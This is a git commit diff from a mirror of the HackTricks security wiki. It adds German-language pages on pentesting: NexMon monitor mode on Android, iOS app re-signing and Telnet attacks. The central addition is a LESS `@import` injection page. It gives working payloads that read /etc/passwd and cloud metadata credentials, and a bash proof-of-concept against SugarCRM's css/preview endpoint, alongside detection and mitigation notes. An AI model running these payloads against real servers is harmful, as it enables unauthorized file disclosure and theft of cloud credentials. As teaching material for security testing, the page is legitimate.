mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
4d26d51639
commit
b2ea9cba5d
@ -544,6 +544,7 @@
|
||||
|
||||
# 🕸️ Pentesting Web
|
||||
|
||||
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
|
||||
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
|
||||
@ -9,7 +9,7 @@ Diese Seite dokumentiert einen schnellen Workflow, der ein vollständig gepatcht
|
||||
|
||||
* NexMon Magisk-Modul, das die gepatchte Firmware + `libnexmon.so` enthält
|
||||
* Hijacker Android-Anwendung zur Automatisierung des Umschaltens des Monitor-Modus
|
||||
* Optional Kali NetHunter chroot, um klassische drahtlose Tools (aircrack-ng, wifite, mdk4 …) direkt gegen die interne Schnittstelle auszuführen
|
||||
* Optional Kali NetHunter Chroot, um klassische drahtlose Tools (aircrack-ng, wifite, mdk4 …) direkt gegen die interne Schnittstelle auszuführen
|
||||
|
||||
Die gleiche Technik gilt für jedes Handy, das einen öffentlich verfügbaren NexMon-Patch hat (Pixel 1, Nexus 6P, Galaxy S7/S8 usw.).
|
||||
|
||||
@ -22,8 +22,8 @@ Die gleiche Technik gilt für jedes Handy, das einen öffentlich verfügbaren Ne
|
||||
* NexMon Magisk ZIP oder selbstkompilierten Patch, der bereitstellt:
|
||||
* `/system/lib*/libnexmon.so`
|
||||
* `/system/xbin/nexutil`
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker
|
||||
* (Optional) Kali NetHunter oder ein beliebiges Linux chroot, in dem Sie drahtlose Tools ausführen möchten
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
|
||||
* (Optional) Kali NetHunter oder ein beliebiges Linux-Chroot, in dem Sie drahtlose Tools ausführen möchten
|
||||
|
||||
---
|
||||
|
||||
@ -51,7 +51,7 @@ svc wifi disable; ifconfig wlan0 up; nexutil -s0x613 -i -v2
|
||||
Disable monitor mode:
|
||||
nexutil -m0; svc wifi enable
|
||||
```
|
||||
Aktivieren Sie „Monitor-Modus beim Start von airodump starten“, damit jeder Hijacker-Scan im nativen Monitor-Modus erfolgt (`wlan0` anstelle von `wlan0mon`).
|
||||
Aktivieren Sie „Monitor-Modus beim Start von airodump starten“, damit jeder Hijacker-Scan im nativen Monitor-Modus (`wlan0` anstelle von `wlan0mon`) erfolgt.
|
||||
|
||||
Wenn Hijacker beim Start Fehler anzeigt, erstellen Sie das erforderliche Verzeichnis im gemeinsamen Speicher und öffnen Sie die App erneut:
|
||||
```bash
|
||||
@ -60,10 +60,10 @@ mkdir -p /storage/emulated/0/Hijacker
|
||||
### Was bedeuten diese `nexutil`-Flags?
|
||||
* **`-s0x613`** Schreibe Firmware-Variable 0x613 (FCAP_FRAME_INJECTION) → `1` (Aktivieren des TX von beliebigen Frames).
|
||||
* **`-i`** Setze das Interface in den Monitor-Modus (Radiotap-Header wird hinzugefügt).
|
||||
* **`-v2`** Setze die Ausführlichkeitsebene; `2` druckt Bestätigung und Firmware-Version.
|
||||
* **`-v2`** Setze die ausführliche Ebene; `2` druckt Bestätigung und Firmware-Version.
|
||||
* **`-m0`** Stelle den verwalteten Modus wieder her (wird im *disable*-Befehl verwendet).
|
||||
|
||||
Nach dem Ausführen von *Enable monitor mode* solltest du das Interface im Monitor-Zustand sehen und in der Lage sein, rohe Frames mit:
|
||||
Nachdem du *Monitor-Modus aktivieren* ausgeführt hast, solltest du das Interface im Monitor-Zustand sehen und in der Lage sein, rohe Frames mit zu erfassen:
|
||||
```bash
|
||||
airodump-ng --band abg wlan0
|
||||
```
|
||||
|
||||
@ -31,7 +31,7 @@ Um sie zu installieren, entpacke einfach die IPA:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
Überprüfen Sie die `Info.plist` auf die minimale unterstützte Version, und wenn Ihr Gerät älter ist als diese, ändern Sie den Wert, damit es unterstützt wird.
|
||||
Überprüfen Sie die `Info.plist` auf die minimal unterstützte Version und wenn Ihr Gerät älter ist, ändern Sie den Wert, damit es unterstützt wird.
|
||||
|
||||
Zippen Sie die IPA zurück:
|
||||
```bash
|
||||
@ -47,13 +47,13 @@ Beachten Sie, dass Sie möglicherweise den **AppSync Unified tweak** von Cydia b
|
||||
Sobald installiert, können Sie den **Iridium tweak** von Cydia verwenden, um die entschlüsselte IPA zu erhalten.
|
||||
|
||||
|
||||
### Berechtigungen patchen & neu signieren
|
||||
### Patch-Berechtigungen & Neuunterzeichnung
|
||||
|
||||
Um die Anwendung mit der Berechtigung `get-task-allow` neu zu signieren, stehen mehrere Tools wie `app-signer`, `codesign` und `iResign` zur Verfügung. `app-signer` hat eine sehr benutzerfreundliche Oberfläche, die es ermöglicht, eine IPA-Datei sehr einfach neu zu signieren, indem die zu signierende IPA, die **`get-taks-allow`**-Berechtigung sowie das zu verwendende Zertifikat und das Bereitstellungsprofil angegeben werden.
|
||||
Um die Anwendung mit der Berechtigung `get-task-allow` neu zu unterzeichnen, stehen mehrere Tools wie `app-signer`, `codesign` und `iResign` zur Verfügung. `app-signer` hat eine sehr benutzerfreundliche Oberfläche, die es ermöglicht, eine IPA-Datei sehr einfach neu zu unterzeichnen, indem die zu unterzeichnende IPA, die **`get-taks-allow`**-Berechtigung sowie das zu verwendende Zertifikat und das Bereitstellungsprofil angegeben werden.
|
||||
|
||||
Bezüglich des Zertifikats und der Signierungsprofile bietet Apple **kostenlose Entwickler-Signierungsprofile** für alle Konten über Xcode an. Erstellen Sie einfach eine App und konfigurieren Sie eine. Konfigurieren Sie dann das **iPhone, um den Entwickler-Apps zu vertrauen**, indem Sie zu `Einstellungen` → `Datenschutz & Sicherheit` navigieren und auf `Entwicklermodus` klicken.
|
||||
|
||||
Mit der neu signierten IPA ist es Zeit, sie auf dem Gerät zu installieren, um sie zu pentesten:
|
||||
Mit der neu unterzeichneten IPA ist es Zeit, sie auf dem Gerät zu installieren, um sie zu pentesten:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
@ -61,9 +61,9 @@ ideviceinstaller -i resigned.ipa -w
|
||||
|
||||
### Entwicklermodus aktivieren (iOS 16+)
|
||||
|
||||
Seit iOS 16 hat Apple den **Entwicklermodus** eingeführt: Jede Binary, die `get_task_allow` *oder* mit einem Entwicklungszertifikat signiert ist, wird sich weigern zu starten, bis der Entwicklermodus auf dem Gerät aktiviert ist. Sie können auch Frida/LLDB nicht anhängen, es sei denn, dieses Flag ist aktiviert.
|
||||
Seit iOS 16 hat Apple den **Entwicklermodus** eingeführt: Jede Binärdatei, die `get_task_allow` *oder* mit einem Entwicklungszertifikat signiert ist, verweigert das Starten, bis der Entwicklermodus auf dem Gerät aktiviert ist. Sie können auch Frida/LLDB nicht anhängen, es sei denn, dieses Flag ist aktiviert.
|
||||
|
||||
1. Installieren oder pushen Sie **irgendeine** entwickler-signierte IPA auf das Telefon.
|
||||
1. Installieren oder übertragen Sie **irgendeine** entwickler-signierte IPA auf das Telefon.
|
||||
2. Navigieren Sie zu **Einstellungen → Datenschutz & Sicherheit → Entwicklermodus** und aktivieren Sie ihn.
|
||||
3. Das Gerät wird neu gestartet; nach Eingabe des Passworts werden Sie aufgefordert, den Entwicklermodus **einzuschalten**.
|
||||
|
||||
@ -76,7 +76,7 @@ Es gibt jetzt mehrere ausgereifte Möglichkeiten, IPAs zu sideloaden und sie ohn
|
||||
| Tool | Anforderungen | Stärken | Einschränkungen |
|
||||
|------|--------------|-----------|-------------|
|
||||
| **AltStore 2 / SideStore** | macOS/Windows/Linux-Begleitgerät, das die IPA alle 7 Tage mit einem kostenlosen Entwicklerprofil neu signiert | Automatisches Nachladen über Wi-Fi, funktioniert bis iOS 17 | Computer im selben Netzwerk erforderlich, 3-App-Limit von Apple auferlegt |
|
||||
| **TrollStore 1/2** | Gerät mit iOS 14 – 15.4.1, das anfällig für den CoreTrust-Bug ist | *Dauerhafte* Signierung (kein 7-Tage-Limit); kein Computer erforderlich, sobald installiert | Nicht unterstützt auf iOS 15.5+ (Bug gepatcht) |
|
||||
| **TrollStore 1/2** | Gerät auf iOS 14 – 15.4.1, das anfällig für den CoreTrust-Bug ist | *Permanente* Signierung (kein 7-Tage-Limit); kein Computer erforderlich, sobald installiert | Nicht unterstützt auf iOS 15.5+ (Bug gepatcht) |
|
||||
|
||||
Für routinemäßige Pentests auf aktuellen iOS-Versionen sind Alt/Side-Store in der Regel die praktischste Wahl.
|
||||
|
||||
@ -90,11 +90,11 @@ objection -g "com.example.target" explore
|
||||
# Or plain Frida
|
||||
frida -U -f com.example.target -l my_script.js --no-pause
|
||||
```
|
||||
Neuere Frida-Versionen (>=16) behandeln automatisch die Zeiger-Authentifizierung und andere iOS 17-Minderungen, sodass die meisten vorhandenen Skripte sofort funktionieren.
|
||||
Neuere Frida-Versionen (>=16) behandeln automatisch die Zeigerautorisierung und andere iOS 17-Minderungen, sodass die meisten vorhandenen Skripte sofort funktionieren.
|
||||
|
||||
### Automatisierte dynamische Analyse mit MobSF (kein Jailbreak)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) kann eine von einem Entwickler signierte IPA auf einem echten Gerät mit der gleichen Technik (`get_task_allow`) instrumentieren und bietet eine Web-UI mit Dateisystembrowser, Verkehrserfassung und Frida-Konsole【†L2-L3】. Der schnellste Weg ist, MobSF in Docker auszuführen und dann dein iPhone über USB anzuschließen:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) kann eine dev-signierte IPA auf einem echten Gerät mit der gleichen Technik (`get_task_allow`) instrumentieren und bietet eine Web-UI mit Dateisystembrowser, Verkehrserfassung und Frida-Konsole【】. Der schnellste Weg ist, MobSF in Docker auszuführen und dann dein iPhone über USB anzuschließen:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
|
||||
@ -104,7 +104,7 @@ Die meisten IoT-Botnets (Mirai-Varianten) scannen weiterhin Port 23 mit kleinen
|
||||
|
||||
Metasploit hat mehrere nützliche Module:
|
||||
|
||||
* `auxiliary/scanner/telnet/telnet_version` – Banner- & Optionsenumeration.
|
||||
* `auxiliary/scanner/telnet/telnet_version` – Banner- und Optionsenumeration.
|
||||
* `auxiliary/scanner/telnet/brute_telnet` – Multithreaded Bruteforce.
|
||||
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` – RCE gegen anfälliges Solaris 9/10 Telnet (Option ENCRYPT-Verarbeitung).
|
||||
* `exploit/linux/mips/netgear_telnetenable` – aktiviert den Telnet-Dienst mit einem gestalteten Paket auf vielen NETGEAR-Routern.
|
||||
@ -123,4 +123,4 @@ Nachdem eine Shell erhalten wurde, denken Sie daran, dass **TTYs normalerweise d
|
||||
* D-Link Advisory – CVE-2024-45698 Kritische Telnet RCE.
|
||||
* NVD – CVE-2022-39028 inetutils `telnetd` DoS.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
@ -0,0 +1,75 @@
|
||||
# LESS Code Injection, die zu SSRF & Local File Read führt
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Übersicht
|
||||
|
||||
LESS ist ein beliebter CSS-Präprozessor, der Variablen, Mixins, Funktionen und die leistungsstarke `@import`-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine **die in `@import`**-Anweisungen referenzierten Ressourcen abrufen und deren Inhalte in das resultierende CSS einbetten ("inline"), wenn die Option `(inline)` verwendet wird.
|
||||
|
||||
Wenn eine Anwendung **benutzergesteuerte Eingaben** in einen String einfügt, der später vom LESS-Compiler geparst wird, kann ein Angreifer **willkürlichen LESS-Code** injizieren. Durch den Missbrauch von `@import (inline)` kann der Angreifer den Server zwingen, Folgendes abzurufen:
|
||||
|
||||
* Lokale Dateien über das `file://`-Protokoll (Informationsoffenlegung / Local File Inclusion).
|
||||
* Remote-Ressourcen in internen Netzwerken oder Cloud-Metadaten-Diensten (SSRF).
|
||||
|
||||
Diese Technik wurde in realen Produkten wie **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview`-Endpunkt) beobachtet.
|
||||
|
||||
## Ausnutzung
|
||||
|
||||
1. Identifizieren Sie einen Parameter, der direkt in einen Stylesheet-String eingebettet ist, der von der LESS-Engine verarbeitet wird (z. B. `?lm=` in SugarCRM).
|
||||
2. Schließen Sie die aktuelle Anweisung und injizieren Sie neue Direktiven. Die häufigsten Primitiven sind:
|
||||
* `;` – beendet die vorherige Deklaration.
|
||||
* `}` – schließt den vorherigen Block (falls erforderlich).
|
||||
3. Verwenden Sie `@import (inline) '<URL>';`, um willkürliche Ressourcen zu lesen.
|
||||
4. Optional können Sie einen **Marker** (`data:` URI) nach dem Import injizieren, um die Extraktion des abgerufenen Inhalts aus dem kompilierten CSS zu erleichtern.
|
||||
|
||||
### Local File Read
|
||||
```
|
||||
1; @import (inline) 'file:///etc/passwd';
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
Der Inhalt von `/etc/passwd` wird in der HTTP-Antwort kurz vor dem `@@END@@` Marker angezeigt.
|
||||
|
||||
### SSRF – Cloud-Metadaten
|
||||
```
|
||||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
### Automatisierte PoC (SugarCRM-Beispiel)
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||||
|
||||
TARGET="$1" # Base URL of SugarCRM instance
|
||||
RESOURCE="$2" # file:// path or URL to fetch
|
||||
|
||||
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||||
|
||||
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||||
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||||
```
|
||||
## Detection
|
||||
|
||||
* Suchen Sie nach dynamisch generierten `.less` oder `.css` Antworten, die unsanitized Query-Parameter enthalten.
|
||||
* Durchsuchen Sie während der Code-Überprüfung nach Konstruktionen wie `"@media all { .preview { ... ${userInput} ... } }"` die an LESS-Renderfunktionen übergeben werden.
|
||||
* Exploit-Versuche enthalten oft `@import`, `(inline)`, `file://`, `http://169.254.169.254` usw.
|
||||
|
||||
## Mitigations
|
||||
|
||||
* Geben Sie **keine** untrusted Daten an den LESS-Compiler weiter.
|
||||
* Wenn dynamische Werte erforderlich sind, **escapen**/sanitizen Sie diese ordnungsgemäß (z. B. auf numerische Tokens beschränken, Whitelists).
|
||||
* Deaktivieren Sie, wenn möglich, die Möglichkeit, `(inline)` Importe zu verwenden, oder beschränken Sie die erlaubten Protokolle auf `https`.
|
||||
* Halten Sie Abhängigkeiten auf dem neuesten Stand – SugarCRM hat dieses Problem in den Versionen 13.0.4 und 14.0.1 behoben.
|
||||
|
||||
## Real-World Cases
|
||||
|
||||
| Produkt | Verwundbarer Endpunkt | Auswirkung |
|
||||
|---------|-----------------------|------------|
|
||||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & lokale Dateilesen |
|
||||
|
||||
## References
|
||||
|
||||
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
|
||||
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||||
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -4,4 +4,10 @@
|
||||
|
||||
Überprüfen Sie **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
|
||||
- SugarCRM ≤ 14.0.0 – LESS `@import` Injection in `/rest/v10/css/preview` ermöglicht nicht authentifizierte SSRF & lokalen Datei-Lesezugriff.
|
||||
|
||||
{{#ref}}
|
||||
../less-code-injection-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user